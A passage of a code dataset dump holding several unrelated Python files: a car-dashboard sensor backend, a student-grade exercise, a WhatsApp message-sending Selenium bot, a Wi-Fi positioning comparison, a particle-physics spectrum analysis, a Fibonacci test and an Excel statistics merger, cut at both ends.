keys_pattern))\n","sub_path":"python/redis/redis_test.py","file_name":"redis_test.py","file_ext":"py","file_size_in_byte":801,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"313146488","text":"from time import sleep\n\nfrom autobahn_sync import publish, register, run\n\nfrom devices.kpro.kpro import Kpro\nfrom devices.odometer import Odometer\nfrom devices.setup_file import SetupFile\nfrom devices.style import Style\nfrom devices.time import Time\nfrom version import __version__\n\n\n@register(u\"setup\")\ndef setup():\n return setup_file.load_setup()\n\n\n@register(u\"save\")\ndef save(new_setup):\n setup_file.save_setup(new_setup)\n setup_file.rotate_screen(new_setup[\"screen\"][\"rotate\"])\n\n\n@register(u\"reset\")\ndef reset():\n setup_file.reset_setup()\n\n\nwhile True:\n try:\n run()\n break\n except Exception:\n continue\n\ntime = Time()\nsetup_file = SetupFile()\nodo = Odometer()\nstyle = Style(\n setup_file.json.get(\"style\").get(\"tpsLowerThreshold\"),\n setup_file.json.get(\"style\").get(\"tpsUpperThreshold\"),\n setup_file.json.get(\"style\").get(\"elapsedSeconds\"),\n)\nkpro = Kpro()\n\niat_unit = setup_file.json.get(\"iat\", {}).get(\"unit\", \"celsius\")\nect_unit = setup_file.json.get(\"ect\", {}).get(\"unit\", \"celsius\")\nvss_unit = setup_file.json.get(\"vss\", {}).get(\"unit\", \"kmh\")\no2_unit = setup_file.json.get(\"o2\", {}).get(\"unit\", \"afr\")\nodo_unit = setup_file.json.get(\"odo\", {}).get(\"unit\", \"km\")\nmap_unit = setup_file.json.get(\"map\", {}).get(\"unit\", \"bar\")\nan0_unit = setup_file.json.get(\"an0\", {}).get(\"unit\", \"volts\")\nan1_unit = setup_file.json.get(\"an1\", {}).get(\"unit\", \"volts\")\nan2_unit = setup_file.json.get(\"an2\", {}).get(\"unit\", \"volts\")\nan3_unit = setup_file.json.get(\"an3\", {}).get(\"unit\", \"volts\")\nan4_unit = setup_file.json.get(\"an4\", {}).get(\"unit\", \"volts\")\nan5_unit = setup_file.json.get(\"an5\", {}).get(\"unit\", \"volts\")\nan6_unit = setup_file.json.get(\"an6\", {}).get(\"unit\", \"volts\")\nan7_unit = setup_file.json.get(\"an7\", {}).get(\"unit\", \"volts\")\n\nan0_formula = setup_file.get_formula(\"an0\")\nan1_formula = setup_file.get_formula(\"an1\")\nan2_formula = setup_file.get_formula(\"an2\")\nan3_formula = setup_file.get_formula(\"an3\")\nan4_formula = setup_file.get_formula(\"an4\")\nan5_formula = setup_file.get_formula(\"an5\")\nan6_formula = setup_file.get_formula(\"an6\")\nan7_formula = setup_file.get_formula(\"an7\")\n\nwhile True:\n odo.save(kpro.vss()[\"kmh\"])\n style.update(kpro.tps())\n publish(\n \"data\",\n {\n \"bat\": kpro.bat(),\n \"gear\": kpro.gear(),\n \"iat\": kpro.iat()[iat_unit],\n \"tps\": kpro.tps(),\n \"ect\": kpro.ect()[ect_unit],\n \"rpm\": kpro.rpm(),\n \"vss\": kpro.vss()[vss_unit],\n \"o2\": kpro.o2()[o2_unit],\n \"cam\": kpro.cam(),\n \"mil\": kpro.mil(),\n \"fan\": kpro.fanc(),\n \"bksw\": kpro.bksw(),\n \"flr\": kpro.flr(),\n \"eth\": kpro.eth(),\n \"scs\": kpro.scs(),\n \"fmw\": kpro.firmware(),\n \"map\": kpro.map()[map_unit],\n \"an0\": an0_formula(kpro.analog_input(0))[an0_unit],\n \"an1\": an1_formula(kpro.analog_input(1))[an1_unit],\n \"an2\": an2_formula(kpro.analog_input(2))[an2_unit],\n \"an3\": an3_formula(kpro.analog_input(3))[an3_unit],\n \"an4\": an4_formula(kpro.analog_input(4))[an4_unit],\n \"an5\": an5_formula(kpro.analog_input(5))[an5_unit],\n \"an6\": an6_formula(kpro.analog_input(6))[an6_unit],\n \"an7\": an7_formula(kpro.analog_input(7))[an7_unit],\n \"time\": time.get_time(),\n \"odo\": odo.get_mileage()[odo_unit],\n \"style\": style.status,\n \"ver\": __version__,\n },\n )\n sleep(0.1)\n","sub_path":"src/backend/backend.py","file_name":"backend.py","file_ext":"py","file_size_in_byte":3529,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"381680005","text":"# INSTRUÇÕES PARA USO DE WHILE LOOP\r\n# inicializar as variáveis de controle antes do comando;\r\n# criar uma condição que usa a variável de controle e se mantenha verdadeira pelo número correto de iterações;\r\n# modificar a variável de controle para garantir a terminação; e\r\n# realizar as computações sucessivas para se chegar a resposta correta.\r\n\r\n# ENUNCIADO\r\n\r\n# Dados um número inteiro n > 0 e as notas finais de n alunos, determinar quantos alunos ficaram de recuperação. \r\n#Um aluno está de recuperação se sua nota fina está entre 3.0 e 5.0 (exclusive) A nota máxima é 10.0.\r\n# EXERCICIO 5.1 - https://panda.ime.usp.br/aulasPython/static/aulasPython/aula05.html \r\n\r\n# ALGORITMO\r\n\r\n# input de numero de alunos\r\n# iniciar variavel sequencia de alunos\r\n# iniciar variavel contagem de alunos em recuperacao\r\n# enquanto variavel \"sequencia de alunos\" for \"numero de alunos\"\r\n\t# input da primeira nota \r\n\t# se nota for maior que 3 e menor que 5\r\n\t\t# 'variavel contagem de alunos' += 1\r\n\t\t# 'variavel sequencia de alunos' += 1\r\n\t# senao\r\n\t\t# 'variavel sequencia de alunos' += 1\r\n# total de alunos em recuperacao e de XXXXC\r\n\r\n# CÓDIGO\r\n\r\ntotalAlunos = int(input(\"Digite a quantidade de alunos: \"))\r\n\r\naluno = 0\r\ncontagem = 0\r\n\r\nwhile aluno < totalAlunos:\r\n\tnota = float(input(\"Digite a nota do aluno: \"))\r\n\tif nota > 3 and nota < 5:\r\n\t\tcontagem += 1\r\n\t\taluno += 1\r\n\telse:\r\n\t\taluno += 1\r\nprint(\"O total de alunos em recuperação é de:\", contagem)\r\n\r\n\r\n","sub_path":"4 Week/alunosrecuperacao.py","file_name":"alunosrecuperacao.py","file_ext":"py","file_size_in_byte":1476,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"548443997","text":"from selenium import webdriver\nfrom selenium.webdriver.common.keys import Keys\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.common.by import By\n\nimport time\nprint(\"teste\")\n\n\nclass Chatbot:\n def __init__(self):\n options = webdriver.ChromeOptions()\n options.add_argument(\"lang=pt-br\")\n self.driver = webdriver.Chrome(executable_path=r'./chromedriver.exe')\n\n def openBrowser(self):\n print(\"[] Abrindo navegador\\n[] Acessando https://web.whatsapp.com\")\n self.driver.get(\"https://web.whatsapp.com\")\n self.driver.maximize_window()\n\n def searchContact(self, name):\n person = WebDriverWait(self.driver, 5).until(\n EC.presence_of_element_located(\n (By.XPATH, f\"//span[@title='{name}']\")))\n person.click()\n print(\"[] Usuario encontrado\")\n\n def SendMessage(self, message, count):\n start_time = time.time()\n for i in range(count):\n input_chat = WebDriverWait(self.driver, 5).until(\n EC.presence_of_element_located((By.CLASS_NAME, '_3uMse')))\n input_chat.click()\n print(f\"[{i+1}] Escrevendo...\")\n time.sleep(0.5)\n input_chat.send_keys(message + Keys.RETURN)\n time.sleep(0.8)\n print(\"[] Menssagem enviada\")\n end_time = time.time()\n print(\"[] Fim das menssagens\")\n print(\"Tempo total:\", round(end_time - start_time, 2), \" segundos\")\n","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":1546,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"239409864","text":"\"\"\"\n对每周的数据分别使用所有的定位算法,计算75%定位误差并生成定位误差对比图\n\"\"\"\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nfrom files import *\nfrom ips import *\nfrom funcs import *\n\n# 所有定位算法通用的变量\nweekAmount = 3\n\n# 保存75%定位误差的变量\nmetricRand = [0] * weekAmount\nmetricKnn = [0] * weekAmount\nmetricNn = [0] * weekAmount\nmetricStg = [0] * weekAmount\nmetricProb = [0] * weekAmount\n\nweek = 1\nwhile week <= weekAmount:\n # 加载本周数据\n dataTrain = loadContentSpecific(\"db\", 1, [2, 4], week)\n dataTest = loadContentSpecific(\"db\", 2, [2, 4, 6, 8], week)\n\n # 处理无信号AP的数据\n dataTrain.rss[dataTrain.rss == 100] = -105\n dataTest.rss[dataTest.rss == 100] = -105\n\n # 随机方法\n predictionRandom = randomEstimation(dataTrain.rss, dataTest.rss, dataTrain.coords)\n errorRandom = customError(predictionRandom, dataTest.coords)\n metricRand[week-1] = np.percentile(errorRandom, 75) # 计算75%误差\n\n # NN方法\n knnValue = 1\n predictionNn = kNNEstimation(dataTrain.rss, dataTest.rss, dataTrain.coords, knnValue)\n errorNn = customError(predictionNn, dataTest.coords)\n metricNn[week-1] = np.percentile(errorNn, 75)\n\n # KNN方法\n knnValue = 9\n predictionKnn = kNNEstimation(dataTrain.rss, dataTest.rss, dataTrain.coords, knnValue)\n errorKnn = customError(predictionKnn, dataTest.coords)\n metricKnn[week-1] = np.percentile(errorKnn, 75)\n\n # Stg方法\n stgValue = 3 # 信号最强AP的个数\n kValue = 5 # 选取的邻居节点个数\n predictionStg = stgKNNEstimation(dataTrain.rss, dataTest.rss, dataTrain.coords, stgValue, kValue)\n errorStg = customError(predictionStg, dataTest.coords)\n metricStg[week-1] = np.percentile(errorStg, 75)\n\n # 基于概率的方法\n kValue = 1; # 选取概率最大节点的个数\n predictionProb = probEstimation(dataTrain.rss, dataTest.rss, dataTrain.coords, kValue, dataTrain.ids // 100)\n errorProb = customError(predictionProb, dataTest.coords)\n metricProb[week-1] = np.percentile(errorProb, 75)\n\n print(week)\n week += 1\n\n# 绘制定位误差对比图\nx = [i+1 for i in range(weekAmount)]\nplt.plot(x, metricRand, label=\"Rand\")\nplt.plot(x, metricNn, label=\"NN\")\nplt.plot(x, metricKnn, label=\"KNN\")\nplt.plot(x, metricStg, label=\"Stg\")\nplt.plot(x, metricProb, label=\"Prob\")\n\nplt.xlabel(\"week number\", {\"size\": 15})\nplt.ylabel(\"75 percentile error (m)\", {\"size\": 15})\n\nplt.xlim((1, weekAmount))\nplt.ylim((0, 6))\n\nplt.xticks(np.arange(1, weekAmount+1, 1))\nplt.yticks(np.arange(0, 7, 1))\n\nplt.legend(loc=\"upper right\")\nplt.grid()\nplt.show()\n","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2654,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"631330818","text":"#!/usr/bin/env python3\n\nimport hyp_analysis_utils as au\nimport argparse\nimport math\nimport os\nimport random\nfrom array import array\nimport uproot\nimport numpy as np\nimport yaml\nfrom scipy import stats\nfrom ROOT import (TF1, TH1D, TH2D, TAxis, TCanvas, TColor, TFile, TFrame, TIter, TKey,\n TPaveText, gDirectory, gROOT, gStyle, gPad, AliPWGFunc, kBlack, kBlue, kRed, kOrange, kGreen, TLegend)\n\n\ngROOT.LoadMacro(\"../../../Utils/YieldMean.C\")\n\nfrom ROOT import yieldmean\nrandom.seed(1989)\n\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"config\", help=\"Path to the YAML configuration file\")\nargs = parser.parse_args()\n\ngROOT.SetBatch()\nbw_file = TFile(os.environ['HYPERML_UTILS'] + '/BlastWaveFits.root')\n\n\nbw = bw_file.Get('BlastWave/BlastWave0')\nparams = bw.GetParameters()\nparams[0] = 2.991\npwg = AliPWGFunc()\nbw = pwg.GetBGBW(params[0], params[1], params[2], params[3], params[4])\nbw.SetParLimits(1, 0, 2)\nbw.SetParLimits(2, 0, 1)\nbw.SetParLimits(3, 0, 2)\nbw.SetName(\"pt_func\")\nbw.SetTitle(\"pt_func\")\n\n\nwith open(os.path.expandvars(args.config), 'r') as stream:\n try:\n params = yaml.full_load(stream)\n except yaml.YAMLError as exc:\n print(exc)\n\nresultsSysDir = os.environ['HYPERML_RESULTS_{}'.format(params['NBODY'])]\n\nvar = 'p_{T}'\nunit = 'GeV/#it{c}'\n\n\nsplit_list = ['_matter', '_antimatter']\n\n\nfile_name = resultsSysDir + '/' + params['FILE_PREFIX'] + '_abs.root'\ndistribution = TFile(file_name, 'recreate')\n\nfile_name = resultsSysDir + '/' + params['FILE_PREFIX'] + '_results_fit.root'\n\nresults_file = TFile(file_name, 'read')\n\nanalysis_res_path = os.path.expandvars(params['ANALYSIS_RESULTS_PATH'])\n\n# if(params[\"NBODY\"]==2):\n# abs_file_name = os.environ['HYPERML_UTILS_{}'.format(params['NBODY'])] + '/he3abs/absorption_pt/recPtHe3.root'\n# absorp_file = TFile(abs_file_name)\n# absorp_hist = absorp_file.Get('Reconstructed ct spectrum')\n\nbkgModels = params['BKG_MODELS'] if 'BKG_MODELS' in params else ['expo']\n\n\nind_list = [\"\", \"_1.5\", \"_2\", \"_10\"]\nabs_hist_list = []\nfor ind in ind_list:\n abs_file_name = os.environ['HYPERML_UTILS_{}'.format(params['NBODY'])] + '/he3abs/absorption_pt/recPtHe3' + ind + \".root\"\n absorp_file = TFile(abs_file_name)\n abs_hist = absorp_file.Get('Reconstructed pT spectrum')\n abs_hist.SetDirectory(0)\n abs_hist_list.append(abs_hist)\n\n\n\nhist_centrality = uproot.open(analysis_res_path)[\"AliAnalysisTaskHyperTriton2He3piML_custom_summary\"][11]\n\n\nfor split in split_list:\n \n abs_names_list = [\"100%\", \"150%\", \"200%\", \"1000%\"]\n abs_colors_list = [kRed, kBlue, kGreen, kOrange]\n fit_func_list = []\n\n cclass = params['CENTRALITY_CLASS'][0]\n\n n_events = sum(hist_centrality[cclass[0]+1:cclass[1]])\n inDirName = f'{cclass[0]}-{cclass[1]}' + split\n\n h2BDTEff = results_file.Get(f'{inDirName}/BDTeff')\n h1BDTEff = h2BDTEff.ProjectionX(\"bdteff\")\n\n best_sig = np.round(np.array(h1BDTEff)[1:-1], 2)\n sig_ranges = []\n for i in best_sig:\n sig_ranges.append([i-0.03, i+0.03, 0.01])\n\n ranges = {\n 'BEST': best_sig,\n 'SCAN': sig_ranges\n }\n\n results_file.cd(inDirName)\n out_dir = distribution.mkdir(inDirName)\n\n h2PreselEff = results_file.Get(f'{inDirName}/PreselEff')\n h1PreselEff = h2PreselEff.ProjectionX(\"preseleff\")\n\n for i in range(1, h1PreselEff.GetNbinsX() + 1):\n h1PreselEff.SetBinError(i, 0)\n\n h1PreselEff.SetTitle(f';{var} ({unit}); Preselection efficiency')\n h1PreselEff.UseCurrentStyle()\n h1PreselEff.SetMinimum(0)\n out_dir.cd()\n\n for name, color,ind,absorp_hist in zip(abs_names_list,abs_colors_list, ind_list, abs_hist_list):\n\n hRawCounts = []\n raws = []\n errs = []\n\n for model in bkgModels:\n h1RawCounts = h1PreselEff.Clone(f\"best_{model}\")\n h1RawCounts.Reset()\n\n\n for iBin in range(1, h1RawCounts.GetNbinsX()+1):\n h2RawCounts = results_file.Get(f'{inDirName}/RawCounts{ranges[\"BEST\"][iBin-1]:.2f}_{model}')\n\n\n h1RawCounts.SetBinContent(iBin, h2RawCounts.GetBinContent(\n iBin, 1) / h1PreselEff.GetBinContent(iBin) / ranges['BEST'][iBin-1] / h1RawCounts.GetBinWidth(iBin)/(1-absorp_hist.GetBinContent(iBin)))\n h1RawCounts.SetBinError(iBin, h2RawCounts.GetBinError(\n iBin, 1) / h1PreselEff.GetBinContent(iBin) / ranges['BEST'][iBin-1] / h1RawCounts.GetBinWidth(iBin)/(1-absorp_hist.GetBinContent(iBin)))\n raws.append([])\n errs.append([])\n\n for eff in np.arange(ranges['SCAN'][iBin-1][0], ranges['SCAN'][iBin-1][1], ranges['SCAN'][iBin-1][2]):\n h2RawCounts = results_file.Get(f'{inDirName}/RawCounts{eff:.2f}_{model}')\n raws[iBin-1].append(h2RawCounts.GetBinContent(iBin,1) / h1PreselEff.GetBinContent(iBin) / eff / h1RawCounts.GetBinWidth(iBin)/n_events/(1-absorp_hist.GetBinContent(iBin)))\n errs[iBin-1].append(h2RawCounts.GetBinError(iBin,1) / h1PreselEff.GetBinContent(iBin) / eff / h1RawCounts.GetBinWidth(iBin)/n_events/(1-absorp_hist.GetBinContent(iBin)))\n\n\n h1RawCounts.UseCurrentStyle()\n h1RawCounts.Scale(1/n_events)\n tmpSyst = h1RawCounts.Clone(\"hSyst\")\n for iBin in range(1, h1RawCounts.GetNbinsX() + 1):\n tmpSyst.SetBinError(iBin, stats.median_absolute_deviation(raws[iBin - 1]))\n\n\n##------------------ Fill YieldMean histo-----------------------------------------\n if(cclass[1] == 10):\n print(f\"ABSORPTION PERCENTAGE: {name}, SPLIT: {split}\")\n print(\"--------------------------------------\")\n h1RawCounts.Fit(bw, \"I\")\n fit_function = h1RawCounts.GetFunction(\"pt_func\")\n fit_function.SetLineColor(color)\n fit_func_list.append(fit_function)\n\n fout = TF1()\n res_hist = yieldmean.YieldMean(h1RawCounts, tmpSyst, fout, bw,\n 0, 12., 1e-2, 1e-1, False, \"log.root\", \"\", \"I\")\n res_hist.SetName(res_hist.GetName() + name)\n res_hist.SetTitle(res_hist.GetTitle() + name)\n\n out_dir.cd()\n\n if(cclass[1] == 10):\n res_hist.Write()\n##--------------------------------------------------------------------------------\n\n\n\n##------------------Fill corrected spectrum histo---------------------------------\n h1RawCounts.SetTitle(';p_{T} GeV/c;1/ (N_{ev}) d^{2}N/(dy dp_{T}) x B.R. (GeV/c)^{-1}')\n h1RawCounts.SetTitle(\"spectrum_\" + name)\n pinfo2 = TPaveText(0.5,0.5,0.91,0.9,\"NDC\")\n pinfo2.SetBorderSize(0)\n pinfo2.SetFillStyle(0)\n pinfo2.SetTextAlign(30+3)\n pinfo2.SetTextFont(42)\n string = 'ALICE Internal, Pb-Pb 2018 {}-{}%'.format(cclass[0],cclass[1])\n pinfo2.AddText(string)\n h1RawCounts.SetMarkerStyle(20)\n h1RawCounts.SetMarkerColor(kBlue)\n h1RawCounts.SetLineColor(600)\n tmpSyst.SetFillStyle(0)\n myCv = TCanvas(\"ptSpectraCv{}_{}\".format(split, name))\n myCv.SetLogy()\n myCv.cd()\n h1RawCounts.Draw()\n tmpSyst.Draw(\"e2same\")\n pinfo2.Draw(\"x0same\")\n myCv.Write()\n myCv.Close()\n##----------------------------------------------------------------------------------\n\n\n\nabsCv = TCanvas(\"absorption_corrections\")\nframe = gPad.DrawFrame(2., 0, 9, 0.17, \";#it{p}_{T} (GeV/#it{c}); P_{abs}\")\nframe.GetYaxis().SetTitleSize(26)\nframe.GetYaxis().SetLabelSize(22)\nframe.GetXaxis().SetTitleSize(26)\nframe.GetXaxis().SetLabelSize(22)\nleg = TLegend(0.4,0.6,0.9,0.85)\nfor color, name, hist in zip(abs_colors_list, abs_names_list, abs_hist_list):\n # for iBin in range(1, h1RawCounts.GetNbinsX()+1):\n # hist.SetBinError(iBin, 0)\n hist.SetTitle(name)\n hist.SetMarkerSize(0)\n hist.SetLineColor(color)\n hist.Draw(\"hist same\")\n leg.AddEntry(hist)\nleg.SetHeader(\"Percentage of anti - ^{3}He inelastic cross-section\")\nleg.Draw(\"hist\")\nabsCv.Write()\n\n\n\n\n\n\nresults_file.Close()\n\nbw = -1\npwg = -1\n","sub_path":"2body/Macro/Systematics/abs_pt_spectra.py","file_name":"abs_pt_spectra.py","file_ext":"py","file_size_in_byte":8007,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"385798578","text":"from unittest import TestCase\n\nfrom basic_lab1.fibonacci_number import Solution\n\n\nclass TestSolution(TestCase):\n def test_fib_pythonic(self):\n s = Solution()\n # 对数器\n for i in range(100):\n self.assertEqual(s.fib_dp(i), s.fib_pythonic(i))\n","sub_path":"basic_lab1/test_fibonacci_number.py","file_name":"test_fibonacci_number.py","file_ext":"py","file_size_in_byte":278,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"491257983","text":"import wx\r\nimport xlrd\r\nimport xlsxwriter\r\nimport os\r\n\r\n\r\ndef CreateCharts(tempWorksheet, filePaths, chartTitle, chartSeriesTitle, numTests, row, col, chartLocX, chartLocY):\r\n \"\"\"\r\n creates line charts for each column of test data\r\n\r\n :params:\r\n tempWorksheet: object variable of an excel worksheet\r\n filePaths: string list of file path directories used only for length of list which is number of files\r\n chartTitle: string value of chart title \r\n chartSeriesTitle: string value of chart series title\r\n numTests: integer value of number of test columns\r\n row: integer value of current row location for writing\r\n col: integer value of current col location for writing\r\n chartLocX: character value of current excel col letter coordinate\r\n chartLocY: integer value of current excel row coordinate\r\n \r\n :returns:\r\n row: integer value of updated row coordinate\r\n \"\"\"\r\n \r\n chart = workbook.add_chart({'type': 'line'})\r\n seriesCounter = 1\r\n for i in range(len(filePaths)):\r\n chart.add_series({\r\n 'name': chartSeriesTitle + '_' + str(seriesCounter), # name series with string passed in\r\n 'values': ['Sheet1', row, col, row, numTests + 1] # [SheetName, startRow, startCol, endRow, endCol] cell ranges\r\n })\r\n seriesCounter += 1\r\n row += 1\r\n chart.set_title({'name': chartTitle})\r\n chart.set_legend({'position': 'bottom'})\r\n worksheet.insert_chart(str(chartLocX) + str(chartLocY), chart)\r\n \r\n return row\r\n\r\n \r\ndef MergeCells(sampFilePaths, prodFilePaths):\r\n \"\"\"\r\n merges cells over a specific range to create a title for a block of data\r\n\r\n :params:\r\n sampFilePaths: string list of file path directories of sample files\r\n prodFilePaths: string list of file path directories of production files\r\n \r\n :returns:\r\n N/A\r\n \"\"\"\r\n \r\n mergeFormat = workbook.add_format({'align': 'center', 'valign': 'vcenter'})\r\n \r\n # merge cells from start to end value to create title for samp avg values\r\n start = 1\r\n end = len(sampFilePaths)\r\n worksheet.merge_range(\"A\" + str(start) + \":B\" + str(end), \"SAMP AVG\", mergeFormat)\r\n \r\n # merge cells from start to end value to create title for samp stdev values\r\n start = len(sampFilePaths) + 2\r\n end = len(sampFilePaths) * 2 + 1\r\n worksheet.merge_range(\"A\" + str(start) + \":B\" + str(end), \"SAMP STDEV\", mergeFormat)\r\n\r\n # merge cells from start to end value to create title for prod avg values\r\n start = len(sampFilePaths) * 2 + 5\r\n end = len(sampFilePaths) * 2 + 4 + len(prodFilePaths)\r\n worksheet.merge_range(\"A\" + str(start) + \":B\" + str(end), \"PROD AVG\", mergeFormat)\r\n\r\n # merge cells from start to end value to create title for prod stdev values\r\n start = len(sampFilePaths) * 2 + 6 + len(prodFilePaths)\r\n end = len(sampFilePaths) * 2 + 5 + len(prodFilePaths) * 2\r\n worksheet.merge_range(\"A\" + str(start) + \":B\" + str(end), \"PROD STDEV\", mergeFormat)\r\n\r\n # merge cells from start to end value to create title for avg of stdev values\r\n start = len(sampFilePaths) * 2 + 9 + len(prodFilePaths) * 2\r\n end = len(sampFilePaths) * 2 + 9 + len(prodFilePaths) * 2\r\n worksheet.merge_range(\"A\" + str(start) + \":B\" + str(end), \"AVG STDEV\", mergeFormat)\r\n\r\n # merge cells from start to end value to create title for stdev of stdev values\r\n start = len(sampFilePaths) * 2 + 10 + len(prodFilePaths) * 2\r\n end = len(sampFilePaths) * 2 + 10 + len(prodFilePaths) * 2\r\n worksheet.merge_range(\"A\" + str(start) + \":B\" + str(end), \"STDEV STDEV\", mergeFormat)\r\n\r\n\r\ndef CarryOverStatInfo(tempWorksheet, filePaths, row, col):\r\n \"\"\"\r\n carries over statisical information such as average and standard deviation from\r\n tempWorksheet over to final worksheet\r\n\r\n :params:\r\n tempWorksheet: object variable of an excel worksheet\r\n filePaths: string list of file path directories\r\n row: integer value of current row location for writing\r\n col: integer value of current col location for writing\r\n :returns:\r\n row: integer value of updated row coordinate\r\n col: integer value of updated col coordinate\r\n \"\"\"\r\n \r\n for i in filePaths: # for each file\r\n for val in tempWorksheet.row_values(row, start_colx = 2, end_colx = None): # for each value in specified row\r\n worksheet.write(row, col, val) # write value to temp excel file\r\n col += 1 # inc col to write adjacently to right of cell\r\n # reset to start writing next row of data\r\n row += 1\r\n col = 2\r\n \r\n return row, col\r\n\r\n \r\ndef GetColLetter(number):\r\n \"\"\"\r\n converts column integer value into character value and returns as a string\r\n\r\n :params:\r\n number: integer value of column coordinate in excel file starting at 0 as column A\r\n\r\n :returns:\r\n string: string value of column lettering\r\n \"\"\"\r\n \r\n string = \"\"\r\n while number > 0:\r\n number, remainder = divmod(number - 1, 26)\r\n string = chr(65 + remainder) + string # adds character by character in reverse order to get column letter\r\n \r\n return string\r\n\r\n \r\ndef WriteRowFromFiles(tempWorksheet, filePaths, row, col, rowLoc):\r\n \"\"\"\r\n writes row splice from every file in the filePath list passed in and\r\n returns updated row and col coordinates\r\n\r\n :params:\r\n tempWorksheet: object variable of an excel worksheet\r\n filePaths: string list of file path directories\r\n row: integer value of current row location for writing\r\n col: integer value of current col location for writing\r\n rowLoc: integer value of row being referenced for row slice\r\n \r\n :returns:\r\n row: integer value of updated row coordinate\r\n col: integer value of updated col coordinate\r\n \"\"\"\r\n \r\n for i in filePaths:\r\n workbook = xlrd.open_workbook(i)\r\n worksheet = workbook.sheet_by_index(0)\r\n \r\n for val in worksheet.row_values(rowLoc, start_colx = 2, end_colx = None):\r\n tempWorksheet.write(row, col, val)\r\n col += 1\r\n row += 1\r\n col = 2\r\n\r\n return row, col \r\n\r\n\r\ndef ReceiveFiles(prompt):\r\n \"\"\"\r\n returns multiple excel file paths in list format by using file dialog box\r\n\r\n :params:\r\n prompt: string value to display in title bar of file dialog\r\n \r\n :returns:\r\n filePaths: string list of file path directories\r\n \"\"\"\r\n \r\n openFileDialog = wx.FileDialog(None, prompt, \"\", \"\", \"Excel Files (*.xls,*.xlsx)|*.xls;*.xlsx\", wx.FD_MULTIPLE)\r\n openFileDialog.ShowModal()\r\n filePaths = openFileDialog.GetPaths()\r\n openFileDialog.Destroy()\r\n \r\n return filePaths \r\n\r\n\r\nif __name__ == \"__main__\":\r\n app = wx.App()\r\n\r\n sampFilePaths = ReceiveFiles(\"Open Sample Files\")\r\n prodFilePaths = ReceiveFiles(\"Open Production Files\")\r\n \r\n if sampFilePaths and prodFilePaths:\r\n tempWorkbook = xlsxwriter.Workbook('temp.xlsx')\r\n tempWorksheet = tempWorkbook.add_worksheet()\r\n\r\n # initial writing location of temp excel sheet\r\n row = 0\r\n col = 2\r\n \r\n # write avg values of all samp files into tempWorksheet which is always on row 16\r\n row, col = WriteRowFromFiles(tempWorksheet, sampFilePaths, row, col, 16)\r\n row += 1\r\n sampStartSTDEV = row # save row coordinate of sample stdev for later\r\n # write stdev values of all samp files into tempWorksheet which is always on row 17\r\n row, col = WriteRowFromFiles(tempWorksheet, sampFilePaths, row, col, 17) \r\n row += 3\r\n prodStartAVG = row # save row coordinate of prod avg for later\r\n # write avg values of all prod files into tempWorksheet which is always on row 16\r\n row, col = WriteRowFromFiles(tempWorksheet, prodFilePaths, row, col, 16)\r\n row += 1\r\n prodStartSTDEV = row # save row coordinate of production stdev for later\r\n # write stdev values of all prod files into tempWorksheet which is always on row 17\r\n row, col = WriteRowFromFiles(tempWorksheet, prodFilePaths, row, col, 17)\r\n row += 3\r\n tempWorkbook.close()\r\n\r\n tempWorkbook = xlrd.open_workbook('temp.xlsx')\r\n tempWorksheet = tempWorkbook.sheet_by_index(0)\r\n finalPath = os.path.dirname(prodFilePaths[0]) # get directory of final data folder by referencing first prod file\r\n workbook = xlsxwriter.Workbook(finalPath + '\\Final Review.xlsx')\r\n worksheet = workbook.add_worksheet()\r\n\r\n numTests = len(tempWorksheet.row_values(0, start_colx = 2, end_colx = None))\r\n for i in range(numTests):\r\n currCol = GetColLetter(col + 1) # get current column letter\r\n sampRange = currCol + \"1:\" + currCol + str(len(sampFilePaths)) # range of samp avg values \r\n prodRange = currCol + str(prodStartAVG + 1) + \":\" + currCol + str(prodStartAVG + len(prodFilePaths)) # range of prod avg values\r\n stdevFormula = \"=STDEV(\" + sampRange + \",\" + prodRange + \")\" # create stdev formula to include all avg values\r\n worksheet.write(row, col, stdevFormula)\r\n col += 1\r\n\r\n row += 1\r\n col = 2\r\n for i in range(numTests):\r\n currCol = GetColLetter(col + 1) # get current column letter\r\n sampRange = currCol + str(sampStartSTDEV + 1) + \":\" + currCol + str(sampStartSTDEV + len(sampFilePaths)) # range of samp stdev values \r\n prodRange = currCol + str(prodStartSTDEV + 1) + \":\" + currCol + str(prodStartSTDEV + len(prodFilePaths)) # range of prod stdev values\r\n stdevFormula = \"=STDEV(\" + sampRange + \",\" + prodRange + \")\" # create stdev formula to include all stdev values\r\n worksheet.write(row, col, stdevFormula)\r\n col += 1\r\n \r\n # save starting point for chart locations\r\n chartLocY = row + 3\r\n\r\n # initial writing location of final excel sheet\r\n row = 0\r\n col = 2\r\n for i in range(2):\r\n row, col = CarryOverStatInfo(tempWorksheet, sampFilePaths, row, col)\r\n row += 1\r\n row += 2\r\n for i in range(2):\r\n row, col = CarryOverStatInfo(tempWorksheet, prodFilePaths, row, col)\r\n row += 1\r\n\r\n MergeCells(sampFilePaths, prodFilePaths)\r\n \r\n # initial writing location of temp excel sheet\r\n row = 0\r\n col = 2 \r\n chartLocX = ['A', 'I']\r\n \r\n chartSampTitle = ['Sample Averages', 'Sample Standard Deviations']\r\n chartSampSeriesTitle = ['SampAVG', 'SampSTDEV'] \r\n for i in range(2):\r\n row = CreateCharts(tempWorksheet, sampFilePaths, chartSampTitle[i], chartSampSeriesTitle[i], numTests, row, col, chartLocX[i], chartLocY)\r\n row += 1\r\n row += 2\r\n chartLocY += 15\r\n\r\n chartProdTitle = ['Production Averages', 'Production Standard Deviations']\r\n chartProdSeriesTitle = ['ProdAVG', 'ProdSTDEV']\r\n for i in range(2):\r\n row = CreateCharts(tempWorksheet, prodFilePaths, chartProdTitle[i], 